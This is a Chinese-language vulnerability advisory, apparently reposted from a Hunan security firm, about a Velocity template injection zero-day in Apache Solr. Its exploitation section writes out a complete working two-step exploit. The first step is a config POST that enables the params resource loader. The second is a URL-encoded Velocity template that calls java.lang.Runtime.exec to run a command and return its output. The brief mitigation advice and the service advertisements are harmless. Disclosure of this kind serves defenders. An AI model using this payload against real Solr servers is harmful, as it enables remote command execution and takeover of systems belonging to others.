安全漏洞预警Apache Solr velocity模版注入

Posted 湖南金盾评估中心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全漏洞预警Apache Solr velocity模版注入相关的知识,希望对你有一定的参考价值。

0x00 漏洞描述

       Solr是一个开源独立的企业级搜索应用服务器,它对外提供类似于WebService的API接口,通常工作在8983端口。近日,安全研究员s00py公开了Apache Solr应用的velocity模版注入漏洞,该漏洞属于0Day,可攻击最新版本Solr,且POC已经公开,可远程执行命令,控制服务器,目前官方还未发布补丁。

0x01 漏洞利用

1.打开Solr应用:

2.访问左侧Core Admin,发现存在多个Core如xy、xy_app等

【安全漏洞预警】Apache Solr velocity模版注入

3.开启“params.resource.loader.enabled”,请求如下:

 
   
   
 
  1. POST /solr/xy/config HTTP/1.1

  2. Host: solr-host:8983

  3. Content-Type: application/json

  4. Content-Length: 259


  5. {

  6. "update-queryresponsewriter": {

  7. "startup": "lazy",

  8. "name": "velocity",

  9. "class": "solr.VelocityResponseWriter",

  10. "template.base.dir": "",

  11. "solr.resource.loader.enabled": "true",

  12. "params.resource.loader.enabled": "true"

  13. }

  14. }


【安全漏洞预警】Apache Solr velocity模版注入

4.执行命令,POC:

 
   
   
 
  1. GET /solr/xy/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1

  2. Host: solr-host:8983


0x02 缓解措施

1.非必要的solr服务进行下线处理或者禁止8983端口的访问。

2.目前官网还未发布补丁,请密切关注官方补丁更新。

0x03 参考

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt


推荐阅读之等保2.0系列

等级测评服务、安全巡检服务、安全培训服务

可信众测服务、安全监测服务、应急响应服务

风险评估服务、安全加固服务、应急演练服务

上线测评服务、安全运维服务、敏感时期保障

湖南金盾为您提供更专业的信息安全服务

www.jdicsp.org



以上是关于安全漏洞预警Apache Solr velocity模版注入的主要内容,如果未能解决你的问题,请参考以下文章

高危安全预警Apache Solr Velocity模板注入远程代码执行漏洞

网警提醒关于Apache Solr Velocity模板远程代码执行漏洞的预警通报

Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)

漏洞预警 | solr远程代码执行漏洞

漏洞预警Solr 远程代码执行漏洞

[高危预警]Apche solr全版本XXE远程命令执行漏洞